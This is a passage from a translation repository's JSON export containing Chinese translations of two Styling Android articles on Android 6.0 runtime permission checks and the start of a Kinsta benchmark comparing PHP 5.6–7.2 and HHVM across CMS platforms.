    "content": "> * 原文链接 : [Permissions – Part 1](https://blog.stylingandroid.com/permissions-part-1/)\n* 原文作者 : [Styling Android](https://blog.stylingandroid.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Hugo Xie](https://github.com/xcc3641)\n* 校对者 : [BOBO](https://github.com/CoderBOBO)，[markzhai](https://github.com/markzhai)\n\n# 深入浅出 Android 权限（一）\n\n因为 Marshmallow（Android 6.0）一个新的权限模型的引入，Android 开发者需要采取不同于以往的方式来获取 Android的权限。本系列中我们将从技术以及如何提供流畅用户体验的角度，讲解如何处理请求权限。\n\n[![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f1ad3bu5htj206o06oq32.jpg)](https://blog.stylingandroid.com/?attachment_id=3476)\n在我们陷入困境之前，需要明确一个应用必须申请权限的两种情况的其中之一是：那些权限是应用程序的运行的核心——如果没有申请到这些核心权限，该应用程序将不能正常工作。比如，对于一个相机应用来说，`CAMERA`权限是核心功能中的一部分，一个相机应用如果不能照相就毫无用处。然而，可能会有其他功能，比如像给图片标记位置（需要` ACCESS_FINE_LOCATION`权限），这是一个很好的功能，但应用可以不需要位置权限也可以运行。\n所以为了接下来的一系列的文章，并且让大家都可以准备开始做app之前，需要申请以下两个权限`RECORD_AUDIO` and `MODIFY_AUDIO_SETTINGS`。为了去获得这些权限，像我们经常做的一样需要在`Manifest`文件里声明他们。\n\nAndroidManifest.xml\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n    <manifest xmlns:android=\"http://schemas.android.com/apk/res/android\" xmlns:tools=\"http://schemas.android.com/tools\" package=\"com.stylingandroid.permissions\">\n\n      <uses-permission android:name=\"android.permission.RECORD_AUDIO\">\n      <uses-permission android:name=\"android.permission.MODIFY_AUDIO_SETTINGS\">\n\n      <application android:allowbackup=\"false\" android:fullbackupcontent=\"false\" android:icon=\"@mipmap/ic_launcher\" android:label=\"@string/app_name\" android:supportsrtl=\"true\" android:theme=\"@style/AppTheme.NoActionBar\" tools:ignore=\"GoogleAppIndexingWarning\">\n\n        <activity android:name=\".MainActivity\">\n\n        <activity android:name=\".PermissionsActivity\" android:label=\"@string/title_activity_permissions\" android:theme=\"@style/AppTheme.NoActionBar\">\n          <intent-filter>\n            <action android:name=\"android.intent.action.MAIN\">\n\n            <category android:name=\"android.intent.category.LAUNCHER\">\n          </category></action></intent-filter>\n        </activity>\n      </activity></application>\n\n    </uses-permission></uses-permission></manifest>\n\n\n从API 1开始这已经成为一种标准的方法去请求Android里的权限。不过，从`targetSdkVersion 23`或者已更新的版本，我们也需要在运行中去请求我们需要的权限。这是非常重要的，因为已经有很多开发者在他们的例子中只是简单地把`targetSdkVersion`设置为最新，然后他们发现自己的应用直接崩溃了，因为他们并没有在应用运行中实现必要的代码去请求权限。问题的是，一旦当你发布一个目标API 23的app到Google Play后，接着就没法用一个目标API更早的APK去替换它了。\n值得一提的另外一件事情是在这一点上已经有一些旨在简化在运行中请求权限流程的库。这些库在代码质量和有效性上是多样化的，但是我觉得有必要了解底层流程再使用这种类型的库，否则你可能会遇到问题，因为你根本不了解你所使用的库实际上在做什么。这就是这一系列文章的主要动机。\n我们需要这两个权限实际上是属于两个不同类别的权限：`RECORD_AUDIO` 是被认为一种高危的权限，`MODIFY_AUDIO_SETTINGS` 被认为是一种正常的权限。高危权限可能会危及到安全或隐私；尽管一个普通的权限是为了访问应用领域之外的资源，但是用户的隐私风险会有很少甚至没有。普通的权限会被系统自动地授予，然而高危的权限在运行过程中需要使用者明确地授予给你的应用。\n\n我们需要做的第一件事是这部分过程首先确定是否我们已经获得了我们所需要的权限。在API 23中， _Context_加入了新的方法去检查是否已被授予了特定的权限。\n\n但是，现在推崇使用_ContextCompat_取代直接访问_Context_，包括您自己的 API-level 检查：\n<span>PermissionChecker.java</span>\n\n    class PermissionsChecker {\n        private final Context context;\n\n        public PermissionsChecker(Context context) {\n            this.context = context;\n        }\n\n        public boolean lacksPermissions(String... permissions) {\n            for (String permission : permissions) {\n                if (lacksPermission(permission)) {\n                    return true;\n                }\n            }\n            return false;\n        }\n\n        private boolean lacksPermission(String permission) {\n            return ContextCompat.checkSelfPermission(context, permission) == PackageManager.PERMISSION_DENIED;\n        }\n\n    }\n\n这其实是非常直接的 —— `ContextCompat#checkSelfPermission` 方法是很容易理解的，未被授权将返回`PackageManager.PERMISSION_DENIED`已被授权将返回`PackageManager.PERMISSION_GRANTED`。\n我对这个app添加好了一些进一步的逻辑，刚好可以实现它的这个功能：检测出任何没有被授权的但又是必要的权限。\n\n值得重申的是_ContextCompat_能在这里为我们做什么。运行在 Marshmallow（Android6.0）以前的不支持新的运行权限模型的设备上时（旧的系统上是隐式授予权限）`checkSelfPermission()` 方法总会返回`PackageManger.PERMISSION_GRANTED`，因为`Manifest`的申明，只需要调用一个方法让它运行在所有版本系统中，并且我们不需要在自己的代码中写任何API-level 具体的checks。\n\n之所以为此创建了一个具体的类，是因为我们以后需要在app中所有activity里做这些检查，这样把检查逻辑从Activity中分离出来可以减少重复代码，提高可维护性。\n\n所以在实际应用在我们的_Activity_中，我们可以简单地把它称为_Activity_ 请求的权限清单。\n\n<span>MainActivity.java</span>\n\n    public class MainActivity extends AppCompatActivity {\n        private static final String[] PERMISSIONS = new String[] {Manifest.permission.RECORD_AUDIO, Manifest.permission.MODIFY_AUDIO_SETTINGS};\n\n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            super.onCreate(savedInstanceState);\n            setContentView(R.layout.activity_main);\n\n            PermissionsChecker checker = new PermissionsChecker(this);\n\n            if (checker.lacksPermissions(PERMISSIONS)) {\n                Snackbar.make(toolbar, R.string.no_permissions, Snackbar.LENGTH_INDEFINITE).show();\n            }\n        .\n        .\n        .\n        }\n    }\n\n实际应用上非常简单。\n\n在Marshamllow（Andorid 6.0）以前的设备上运行效果：\n\n[![](http://ww3.sinaimg.cn/large/9b5c8bd8jw1f1ad406ecij208c069jr8.jpg)](https://blog.stylingandroid.com/?attachment_id=3479)\n\n但我们还没有对Marshamllow（Android 6.0）和以后的版本进行缺少的权限的处理——只是展示了一个_Snackbar_：\n\n[![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f1ad4dgmdhj208c069glh.jpg)>](https://blog.stylingandroid.com/?attachment_id=3480)\n\n请求缺少的权限是一个非常复杂的变化过程，我们将会在下一篇文章进行讲解。\n\n这篇文章的源码可以[在这里获取](https://github.com/StylingAndroid/Permissions/tree/Part1)。\n"
  },
  {
    "path": "TODO/permissions-part-2.md",
    "content": "> * 原文链接 : [Permissions – Part 2](https://blog.stylingandroid.com/permissions-part-2/)\n* 原文作者 : [Styling Android](https://blog.stylingandroid.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Hugo](https://github.com/xcc3641)\n* 校对者 : [Adam Shen](https://github.com/shenxn), [JOJO](https://github.com/Sausure)\n\n# 深入浅出 Android 权限（二）\n\n因为 Marshmallow（Android 6.0）一个新的权限模型的引入，Android 开发者需要采取不同于以往的方式来获取 Android 的权限。本系列中我们将从技术以及如何提供流畅用户体验的角度，讲解处理权限请求的方法。  \n\n[![](http://ww3.sinaimg.cn/large/9b5c8bd8jw1f0krztdaoej206o06o0sy.jpg)](https://blog.stylingandroid.com/permissions-part-1/icon_no_permission/)  \n\n以前我们可以检查是否已经被授予了请求的权限，但是没有机制去请求任何缺少的权限。在这篇文章中，我们来看看如何在不往 Activities 中加入大量重复代码的情况下，引入必要的权限检查和请求。请牢记下文的一切都是特定于` Marshmallow`或者更高的版本（早期的版本已经从` Manifest`中隐式授予了权限），并且你需要检查是否你已经在你的项目中指定了` targetSdkVersion=23`或者更高的版本。\n\n接下来的第一件事情我们需要去了解权限请求模型是如何实现的。正如我们已经讨论过的，普通的权限可被隐式授予但高危权限需要明确地请求用户授予。如果用户给了我们需要的权限，事情就非常简单了，但是我们需要尽量避免被用户拒绝权限请求。对于我们将要开发的这个程序来说，用户可能并不明白我们为什么要请求 RECORD_AUDIO 权限，所以我们需要通过一些条款来告知用户我们为什么需要这个权限。\n\n从用户的角度来看，在第一次运行程序的时候，用户会被询问是否授予所需权限：\n\n![](http://ww2.sinaimg.cn/large/675f4a91jw1f1dpk1jhhlj21kw16ogof.jpg)\n\n如果用户授予了所需权限，我们就可以继续我们要做的操作了。但是，如果他们拒绝授予权限，我们可以反复询问用户所需的权限：\n\n![](http://ww3.sinaimg.cn/large/675f4a91jw1f1dpivkftsj21kw16odiq.jpg)\n\n但是注意，如果用户已经在之前拒绝了这个所需权限，系统会给用户提供一个“不再询问”的选项。如果用户选择了这个选项，那我们代码随后发出的任何该权限请求都会被系统自动拒绝，而不会再次询问用户。显然地，这会对我们开发者造成问题，所以我们需要考虑到这一点。\n\n这个问题可以变得更复杂，因为在任何时候，用户都可以在设置页面对我们应用所需的任何权限进行授予或者拒绝。因为权限可能随时会改变，所以我们不仅仅应该在应用启动时，也要在每个 Activity 中，去检查所需的权限是否被授予。\n\n所以我们处理这个问题的方式是使用一个单独的 Activity 专门用来请求权限，并且所有应用中的其他 Activity 都需要检查它们是否拥有需要的权限，如果它们所需的权限被拒绝，就交由 PermissionsActivity 处理。\n\n接下来我们稍微改动下_MainActivity_：\n\nMainActivity.java\n\n    public class MainActivity extends AppCompatActivity {\n\n        static final String[] PERMISSIONS = new String[]{Manifest.permission.RECORD_AUDIO, Manifest.permission.MODIFY_AUDIO_SETTINGS};\n        private PermissionsChecker checker;\n\n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            super.onCreate(savedInstanceState);\n            setContentView(R.layout.activity_main);\n\n            Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);\n            setSupportActionBar(toolbar);\n\n            checker = new PermissionsChecker(this);\n        }\n\n        @Override\n        protected void onResume() {\n            super.onResume();\n\n            if (checker.lacksPermissions(PERMISSIONS)) {\n                startPermissionsActivity();\n            }\n        }\n\n        private void startPermissionsActivity() {\n            PermissionsActivity.startActivity(this, PERMISSIONS);\n        }\n    }\n\n\n我们把权限检查移动到了`onResume()`里。这是考虑到用户可能先暂停我们的应用，切换到设置页面，拒绝了一个权限后再回到我们的应用的情况。好吧，这是一些极端情况，但是为了防止这种情况导致的程序崩溃，这样做是值得的。\n\n所以我们实现的基本方法是，每当Activity恢复的时候，我们需要先确认该 Activity 拥有所需的权限再运行。如果所需权限被拒绝，就需要我们把控制传递给负责获取所需的权限的_PermissionsActivity_。虽然这感觉确实就像一种抵御方式，但是我认为这真是一种明智的并且实际上不需要大量代码的做法。所有的检查逻辑都封装到_PermissionsChecker_，然后请求逻辑在_PermissionsActivity_进行处理。\n\n使得权限检查组件相对轻量是非常重要的，因为这样我们就可以用相对低的成本来检查组件，并且只在完全必要的情况下，才使用切换 Activity 这种成本高得多的途径来请求缺失的权限。\n\n在下一篇文章中，我们来看看_PermissionsActivity_中实际上是如何处理权限请求和探讨在用户拒绝我们权限请求的时候，如何进一步告知用户为什么这个权限是应用需要的。\n\n这篇文章的源码在这里可以[获取](https://github.com/StylingAndroid/Permissions/tree/Part2). 在_PermissionsActivity_中有一个占位符，我们将在下一篇文章中扩展，所以它并不是完整功能的代码。\n\n"
  },
  {
    "path": "TODO/php-7-hhvm-benchmarks.md",
    "content": "> * 原文地址：[The Definitive PHP 5.6, 7.0, 7.1, 7.2 & HHVM Benchmarks (2018)](https://kinsta.com/blog/php-7-hhvm-benchmarks/)\n> * 原文作者：[Mark Gavalda](https://kinsta.com/blog/author/kinstadmin/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/php-7-hhvm-benchmarks.md](https://github.com/xitu/gold-miner/blob/master/TODO/php-7-hhvm-benchmarks.md)\n> * 译者：[AlbertHao](https://github.com/Albertao)\n> * 校对者：[foxxnuaa](https://github.com/foxxnuaa) [allenlongbaobao](https://github.com/allenlongbaobao)\n\n# 这可能是 2018 年最好的一篇 PHP 性能测评（包含 5.6 到 7.2，以及 HHVM）\n\n![](https://kinsta.com/wp-content/uploads/2018/02/php-7-hhvm-benchmarks-1.png)\n\n每年我们都会在大量不同的平台上尝试并深入研究 PHP 不同版本以及 HHVM 在性能方面的差异。而今年，我们一鼓作气在 20 个不同的平台/配置下评测了四个不同版本的 PHP 引擎以及 HHVM，测评使用的应用包括了 WordPress，Drupal，Joomla!，Laravel，Symfony以及其他各种各样的应用。此外，我们也测试了近些年流行的一些电子商务解决方案如 WooCommerce，Easy Digital Downloads，Magento，和 PrestaShop。\n\n想看这篇文章的西班牙语版本吗？[我是传送门](https://kinsta.com/es/blog/php-7-hhvm-rendimiento/)\n\n我们鼓励 WordPress 用户使用 PHP 的[最新支持版本](https://kinsta.com/blog/php-versions/)，除了更好的安全性外，它们还提供了额外的性能提升。我们并不只是在谈论 WordPress，这个结论对于大部分的平台也是适用的。今天我们将向你展示 **PHP7.2 是如何打败它面对的一切敌人的！🚀**\n\n今年的测评结果相比起我们以前那些 HHVM 获胜的测评发生了大大的改变。我们很高兴能看到 PHP7.2 成为目前速度最快的 PHP 引擎。关于 WordPress，有一个需要提及的重要事情，那就是 [HHVM 不再被支持]((https://make.wordpress.org/core/2017/05/25/hhvm-no-longer-part-of-wordpress-cores-testing-infrastructure/))并将会渐渐地淡出历史舞台，我们不再鼓励我们的顾客迁移到 HHVM ，同时也声明在大量不同的平台上支持它并不是一个好的选择。\n\n对于开发者和终端用户来说这都是一个好消息，因为这意味着我们将更多地关注 PHP，并为每个人都提供更快的网站和 web 服务。\n\n## PHP 和 HHVM 测评（2018）\n\n对于每个测试，我们都使用了每个平台系统的最新版本并在 15 个并发用户的条件下对主页跑了1分钟的测试，下面是我们测试环境的具体细节。\n\n*   **使用机器：** 8核 Intel(R) Xeon(R) CPU @ 2.20GHz (由 [Google Cloud Platform](https://kinsta.com/blog/google-cloud-hosting/) 提供并运行于一个隔离的容器中)\n*   **操作系统:** Ubuntu 16.04.3 LTS\n*   **Docker 栈:** Debian 8, Nginx 1.13.8, MariaDB 10.1.31\n*   **PHP 引擎版本:** 5.6, 7.0, 7.1, 7.2\n*   **HHVM版本:** 3.24.2\n*   **OPCache:** 对于 WordPress， Joomla，和 Drupal，我们使用了官方的 Docker 镜像。对于其他的评测应用，我们使用了与 OPcache 相同的镜像配置。OPcache 应用了如下的 [php.ini 推荐设置](https://secure.php.net/manual/en/opcache.installation.php)。 \n\n```\nopcache.memory_consumption=128\n\nopcache.interned_strings_buffer=8\n\nopcache.max_accelerated_files=4000\n\nopcache.revalidate_freq=60\n\nopcache.fast_shutdown=1\n\nopcache.enable_cli=1\n\n```\n\n测试由 [Thoriq Firdaus](https://twitter.com/tfirdaus) 执行，他是一位 WordPress 代码贡献者以及工作于 Kinsta 的服务支持工程师。他曾经为 WordPress 的核心部分和 [WordPress Indonesia 的翻译编辑器](https://translate.wordpress.org/locale/id/default/wp/dev)贡献过代码。\n\n### 什么是 PHP？\n\nPHP 的全称是超文本预处理器（Hypertext Preprocessor）。它是目前 web 界最流行的脚本语言之一。根据 W3Techs 的调查结果，[超过 83% 的网站](https://w3techs.com/technologies/details/pl-php/all/all)使用 PHP 作为它们的服务器端编程语言。\n\n### 什么是 HHVM？\n\n由于 PHP 的性能问题，Facebook 开发了 HipHop Virtual Machine（[HHVM](https://hhvm.com/)）。它使用即时编译（JIT）技术来将 PHP 代码转换为机器语言，从而在 PHP 代码和驱动代码的底层硬件之间建立协同关系。\n\n### 测试的平台和配置\n\n我们的测试涵盖了如下 20 个平台/配置。在一些平台上，因为缺少某些特殊 PHP 版本的支持，我们需要测试该平台多个版本的表现。点击下面任意一个链接你可以直接跳转到该平台的测试信息以及结果。数据以每秒的请求量进行衡量。这个数值越大越好。\n\n*   [WordPress 4.9.4](#wordpress-benchmarks)\n*   [WordPress 4.9.4 + WooCommerce 3.3.1](#wordpress-woocommerce-benchmarks)\n*   [WordPress 4.94 + Easy Digital Downloads 2.8.18](#wordpress-edd-benchmarks)\n*   [Drupal 8.4.4](#drupal-benchmarks)\n*   [Joomla! 3.8.5](#joomla!-benchmarks)\n*   [Magento 2 (CE) 2.1.11 + 2.2.2](#magento-benchmarks)\n*   [Grav CMS 1.3.10](#gravcms-benchmarks)\n*   [October CMS 1.0.433](#octobercms-benchmarks)\n*   [Laravel 5.4.36 + 5.6](#laravel-benchmarks)\n*   [Symfony 3.3.6 + 4.0.1](#symfony-benchmarks)\n*   [PyroCMS 3.4.14](#pyrocms-benchmarks)\n*   [Pagekit 1.0.13](#pagekit-benchmarks)\n*   [Bolt CMS 3.4.8](#boltcms-benchmarks)\n*   [AnchorCMS 0.12.6 (pre-release)](#anchorcms-benchmarks)\n*   [PrestaShop 1.7.2.4](#prestashop-benchmarks)\n*   [CraftCMS 2.6.3011](#craftcms-benchmarks)\n*   [ForkCMS 5.2.2](#forkcms-benchmarks)\n\n## WordPress 4.9.4\n\n我们测试的第一个平台，理所当然应该是我们最喜欢的其中之一：[WordPress](https://wordpress.org/)（我们可能偏向于认为我们每天都在使用使用这个 CMS 系统 😉）。从它的核心来看，WordPress 是一个你能用来建立精美的网站，博客或者 App 的开源软件。事实上，WordPress 驱动了互联网上[超过 29% 的网站](https://kinsta.com/wordpress-market-share/)。是的，没错 — 你访问的每四个网站中就可能有超过一个是由 WordPress 驱动的。\n\n![WordPress CMS](https://kinsta.com/wp-content/uploads/2018/02/wordpress-cms.png)\n\n对于 WordPress 的测评，我们选择了免费的 [Twenty Seventeen 主题](https://kinsta.com/blog/twenty-seventeen-theme/)。并使用了由 wptest.io 生成的测试内容，通过 15 个并发用户对主页的访问测试了1分钟。\n\n*   文章数目：由 wptest.io 生成，10 篇/页\n*   『搜索』是侧边栏唯一的菜单项目\n*   Docker 镜像派生自 [https://hub.docker.com/_/wordpress/](https://hub.docker.com/_/wordpress/)\n\n![WordPress benchmarks](https://kinsta.com/wp-content/uploads/2018/02/wordpress-php-benchmarks.png)\n\nWordPress 测试\n\n#### 测试结果\n\n*   WordPress 4.9.4 PHP 5.6 测试结果: 49.18 req/sec\n*   WordPress 4.9.4 PHP 7.0 测试结果: 133.55 req/sec\n*   WordPress 4.9.4 PHP 7.1 测试结果: 134.24 req/sec\n*   WordPress 4.9.4 **PHP 7.2 测试结果**: **148.80 req/sec 🏆**\n*   WordPress 4.9.4 HHVM 测试结果: 144.76 req/sec\n\nPHP 7.2 成为了赢家，证明其比 HHVM 略快。这与 2016 年的基准相比有显著的变化，因为在 2016 年，HHVM 显然是赢家。WordPress 的 PHP 也更加稳定。在使用 HHVM 的过程中，我们亲身经历了很多问题。\n\n## WordPress 4.9.4 + WooCommerce 3.3.1\n\n[WooCommerce](https://woocommerce.com/) 是一个支持高度自定义，使用 WordPress 搭建的开源电子商务平台。它也是到目前为止，最流行的电子商务解决方案之一，驱动了互联网上超过 [42% 的电子商务网站](https://kinsta.com/wordpress-market-share/#woocommerce)。\n\n![WooCommerce](https://kinsta.com/wp-content/uploads/2018/02/woocommerce.png)\n\n对于接下来的这个测试，我们选择了将 WordPress 与 WooCommerce 一起安装。并选择了免费的 [Storefront eCommerce 主题](https://woocommerce.com/storefront/).\n\n*   商品数目: 8 (每行两件商品)\n*   将购物页面设置为首页\n*   Docker 镜像派生自 [https://hub.docker.com/_/wordpress/](https://hub.docker.com/_/wordpress/)\n\n![WordPress + WooCommerce benchmarks](https://kinsta.com/wp-content/uploads/2018/02/wordpress-woocommerce-php-benchmarks.png)\n\nWordPress + WooCommerce 测试\n\n#### 测试结果\n\n*   WordPress 4.9.4 + WooCommerce 3.3.1 PHP 5.6 测试结果: 34.47 req/sec\n*   WordPress 4.9.4 + WooCommerce 3.3.1 PHP 7.0 测试结果: 84.89 req/sec\n*   WordPress 4.9.4 + WooCommerce 3.3.1 PHP 7.1 测试结果: 86.04 req/sec\n*   WordPress 4.9.4 + WooCommerce 3.3.1 **PHP 7.2 测试结果:** **92.60 req/sec 🏆**\n*   WordPress 4.9.4 + WooCommerce 3.3.1 HHVM 测试结果: 69.58 req/sec\n\nWooCommerce 在使用 HHVM 的过程中遇到了一些小问题，而 PHP 7.2 以微弱优势打败了 PHP 7.1。\n\n## WordPress 4.9.4 + Easy Digital Downloads 2.8.18\n\n[Easy Digital Downloads](https://easydigitaldownloads.com/) (EDD)，这是一款由 Pippin Williamson 编写的，专注于帮助使用者和开发者售卖电子商品的免费的 WordPress 电子商务插件。\n\n![Easy Digital Downloads](https://kinsta.com/wp-content/uploads/2018/02/easy-digital-downloads.png)\n\n在了解清楚 WooCommerce 是怎么运作的之后，我们采用了 WordPress 和 Easy Digital Downloads 一起安装的方式。并使用了免费的 [EDD Starter 主题](https://easydigitaldownloads.com/downloads/edd-starter-theme/)。\n\n*   商品数目: 6 (从插件中获取的默认商品样例)\n*   缺失的商品列表上有 2 张图片\n*   Docker 镜像派生自 [https://hub.docker.com/_/wordpress/](https://hub.docker.com/_/wordpress/)\n\n![WordPress + Easy Digital Downloads benchmarks](https://kinsta.com/wp-content/uploads/2018/02/wordpress-edd-php-benchmarks.png)\n\nWordPress + Easy Digital Downloads 测试\n\n#### 测试结果\n\n*   WordPress 4.9.4 + EDD 2.8.18 PHP 5.6 测试结果: 76.71 req/sec\n*   WordPress 4.9.4 + EDD 2.8.18 PHP 7.0 测试结果: 123.83 req/sec\n*   WordPress 4.9.4 + EDD 2.8.18 PHP 7.1 测试结果: 124.82 req/sec\n*   WordPress 4.9.4 + EDD 2.8.18 **PHP 7.2 测试结果:** **135.74 req/sec 🏆**\n*   WordPress 4.9.4 + EDD 2.8.18 HHVM 测试结果: 127.74 req/sec\n\nPHP 7.2 在 WordPress 和 Easy Digital Downloads 的测试中，毫无疑问地占据了主导地位。\n\n### Drupal 8.4.4\n\n[Drupal](https://www.drupal.org/) 是一款开源的 CMS，它以模块化的系统和强大的开发者社区而流行。它最初于 2000 年上线，根据 W3Techs 的数据，它支持了互联网上 2.2% 的网站，占据了 CMS 市场 4.4% 的份额。\n\n![Drupal](https://kinsta.com/wp-content/uploads/2018/02/drupal-logo.png)\n\n对于 Drupal 的测评，我们使用了免费的 [Bartik 8.4.4 主题](https://github.com/pantheon-systems/drops-8/tree/master/core/themes/bartik)。值得注意的一点是 **Drupal 8.4.x 并不兼容 PHP 7.2** ([#2932574](https://www.drupal.org/project/drupal/issues/2932574))， 因此本次测试中并没有加入这个版本的 PHP 引擎。\n\n*   文章数目: 通过 Devel 模块生成了 10 篇\n*   关闭了页缓存: [https://www.drupal.org/node/2598914](https://www.drupal.org/node/2598914)\n*   Docker 镜像派生自 [https://hub.docker.com/_/drupal/](https://hub.docker.com/_/drupal/)\n\n![Drupal benchmarks](https://kinsta.com/wp-content/uploads/2018/02/drupal-benchmarks.png)\n\nDrupal 测试\n\n#### 测试结果\n\n*   Drupal 8.4.4 PHP 5.6 测试结果: 7.05 req/sec\n*   Drupal 8.4.4 PHP 7.0 测试结果: 15.94 req/sec\n*   Drupal 8.4.4 PHP 7.1 测试结果: 19.15 req/sec\n*   Drupal 8.4.4 PHP 7.2 测试结果: (不支持的版本)\n*   Drupal 8.4.4 **HHVM 测试结果: 19.57 req/sec 🏆**\n\n因为 Drupal 的最新版本并不支持 PHP 7.2，HHVM 获得了最高的得分。然而回顾前几个 PHP 版本的性能提升，我们依然能够稳定推测出 PHP 7.2 可能会更加地快。\n\n### Joomla! 3.8.5\n\n[Joomla!](https://www.joomla.org/) 是一款用于发布 web 内容的免费开源 CMS 软件，最初发布于 2005 年 8 月 17 日。它是基于一个 MVC web 应用框架搭建的。根据 W3Techs 的数据，互联网上 [3.1% 的网站](https://w3techs.com/technologies/details/cm-joomla/all/all) 都使用了它。\n\n![Joomla!](https://kinsta.com/wp-content/uploads/2018/02/joomla-logo-e1519705676991.png)\n\n对于 Joomla! 的测试，我们使用了免费的 [Beez3 模板](http://a4joomla.com/joomla-templates/countryside-free/using-joomla/extensions/templates/beez3.html)。\n\n*   文章数目: 4 (在安装过程中添加的 Joomla 默认样例文章)\n*   关闭默认侧边栏\n*   Docker 镜像派生自 [https://hub.docker.com/_/joomla/](https://hub.docker.com/_/joomla/)\n\n![Joomla! benchmarks](https://kinsta.com/wp-content/uploads/2018/02/Joomla-benchmarks-1.png)\n\nJoomla! 测试\n\n#### 测试结果\n\n*   Joomla! 3.8.5 PHP 5.6 测试结果: 26.42 req/sec\n*   Joomla! 3.8.5 PHP 7.0 测试结果: 41.46 req/sec\n*   Joomla! 3.8.5 PHP 7.1 测试结果: 41.17 req/sec\n*   Joomla! 3.8.5 PHP 7.2 测试结果: 42.36 req/sec\n*   Joomla! 3.8.5 **HHVM 测试结果: 51.84 req/sec 🏆**\n\n在 Joomla! 的测试中，我们可以看到 PHP 的每个版本都有一个稳定的提升，但是 HHVM 依然成为了第一。\n\n### Magento 2 (CE) 2.1.11 + 2.2.2\n\n[Magento](https://magento.com/) 是一款使用 PHP 编写的流行的开源电子商务平台，最初发布于 2008 年 3 月 31 日。根据 W3Techs的数据，它驱动了互联网上 [1.2% 的站点](https://w3techs.com/technologies/details/cm-magento/all/all)。\n\n![Magento](https://kinsta.com/wp-content/uploads/2018/02/magento.png)\n\n对于 Magento 2 的测试，我们使用了免费的 [Luma 主题](http://magento2-demo.nexcess.net/)。我们采用了两个版本，因为 2.1.11 是唯一一个支持 PHP 5.6的版本。我们使用了样例数据和它自带的默认主题进行安装。对于额外的测试，我们使用了 2.2.2版本。**Magento 2 目前为止还不支持 PHP 7.2** 或者 HHVM 的最新版本。\n\n*   商品数目: 7\n*   [http://pubfiles.nexcess.net/magento/ce-packages/](http://pubfiles.nexcess.net/magento/ce-packages/)\n\n![Magento 2 benchmarks](https://kinsta.com/wp-content/uploads/2018/02/magento-2-benchmarks-1.png)\n\nMagento 2 测试\n\n#### 测试结果\n\n*   Magento 2 (CE) 2.1.11 PHP 5.6 测试结果: 10.75 req/sec\n*   Magento 2 (CE) 2.1.11 PHP 7.0 测试结果: 20.87 req/sec\n*   Magento 2 (CE) 2.1.11 **PHP 7.1 测试结果: 29.84 req/sec 🏆**\n*   Magento 2 (CE) 2.1.11 PHP 7.2 测试结果: not supported\n*   Magento 2 (CE) 2.1.11 HHVM 测试结果: not supported\n\n因为 Magento 2 并不支持 PHP 7.2 和最新版本的 HHVM，PHP 7.1 成为了显然的赢家。而 PHP 每个版本之间一致的性能收益提升也让我们印象深刻。\n\n### Grav CMS 1.3.10\n\n[Grav](https://getgrav.org/) 是一款使用简便，又强大且不需要数据库的开源 CMS 软件。某些时候这也被称作是一种 flat-file CMS（译者注：关于 flat-file 的解释可见[这里](https://baike.baidu.com/item/flat%20file)）。\n\n![Grav CMS](https://kinsta.com/wp-content/uploads/2018/02/grav-cms.png)\n\n对于 Grav CMS 的测试，我们使用了免费的 [Clean Blog 脚手架](https://getgrav.org/downloads/skeletons)。需要注意的是 **Grav CMS 不再支持 HHVM **编译器并已经从他们的 Travis 构建中 [移除了 HHVM 环境](https://github.com/getgrav/grav/commit/abccf2278dac637089fb5b20b6386d88905335c5)。\n\n*   文章数目: 4 (「Clean Blog」脚手架中的预设文章)\n*   页/文件缓存已关闭: [https://learn.getgrav.org/advanced/performance-and-caching](https://learn.getgrav.org/advanced/performance-and-caching)，而 Twig 缓存依然是开启的。\n\n![Grav CMS benchmarks](https://kinsta.com/wp-content/uploads/2018/02/grav-cms-benchmarks-1.png)\n\nGrav CMS 测试\n\n#### 测试结果\n\n*   Grav CMS 1.3.10 PHP 5.6 测试结果: 34.83 req/sec\n*   Grav CMS 1.3.10 PHP 7.0 测试结果: 53.37 req/sec\n*   Grav CMS 1.3.10 PHP 7.1 测试结果: 53.37 req/sec\n*   Grav CMS 1.3.10 **PHP 7.2 测试结果: 55.12 req/sec 🏆**\n*   Grav CMS 1.3.10 HHVM 测试结果: 不支持\n\n我们可以在 Grav CMS 的测试中再一次看到最新版本的 PHP (7.2) 成为了显然的赢家。\n\n### October CMS 1.0.433\n\n[October CMS](https://octobercms.com/) 是一款免费开源，自托管且模块化的基于 Laravel PHP 框架的 CMS 平台。它最初发布于 2014 年 5 月 15 日。\n\n![October CMS](https://kinsta.com/wp-content/uploads/2018/02/october-cms.png)\n\n对于 October CMS 的测试，我们使用了免费的 [Clean Blog 主题](https://octobercms.com/theme/responsiv-clean)。值得注意的一点是 **October CMS 不再兼容 PHP 5.6 或者 HHVM**。尽管我们通过在安装程序中移除 PHP 版本检查的方式来尝试进行安装，但依然在配置向导中出现了 500 的错误代码。\n\n*   文章数目: 5 篇文章加上两个左侧边栏 (最近文章和「关注我」按钮)\n\n![October CMS benchmarks](https://kinsta.com/wp-content/uploads/2018/02/October-CMS-benchmarks.png)\n\nOctober CMS 测试\n\n#### 测试结果\n\n*   October CMS 1.0.433 PHP 5.6 测试结果: 不支持\n*   October CMS 1.0.433 PHP 7.0 测试结果: 43.83 req/sec\n*   October CMS 1.0.433 PHP 7.1 测试结果: 47.95 req/sec\n*   **October CMS 1.0.433 PHP 7.2 测试结果: 48.87 req/sec 🏆**\n*   October CMS 1.0.433 HHVM 测试结果: 不支持\n\n尽管有两个引擎没有得到支持，我们仍然可以看到 PHP 7.2 又一次胜出了。\n\n同时我们也很高兴地看到这些小型的 CMS 正在渐渐舍弃对老旧版本 PHP 的支持。尽管这是一个不那么大的好处。不幸的是当我们在讨论 WordPress 和其他占有大量市场份额的平台时，由于兼容性问题，一切进展缓慢。\n\n### Laravel 5.4.36 + 5.6\n\n[Laravel](https://laravel.com/) 是一个用来开发 web 应用的，非常热门的开源 PHP 框架。它是由 Taylor Otwell 开发的，其最初版本发布于 2011 年 6 月。\n\n![Laravel](https://kinsta.com/wp-content/uploads/2018/02/Laravel-logo.png)\n\n对于 Laravel 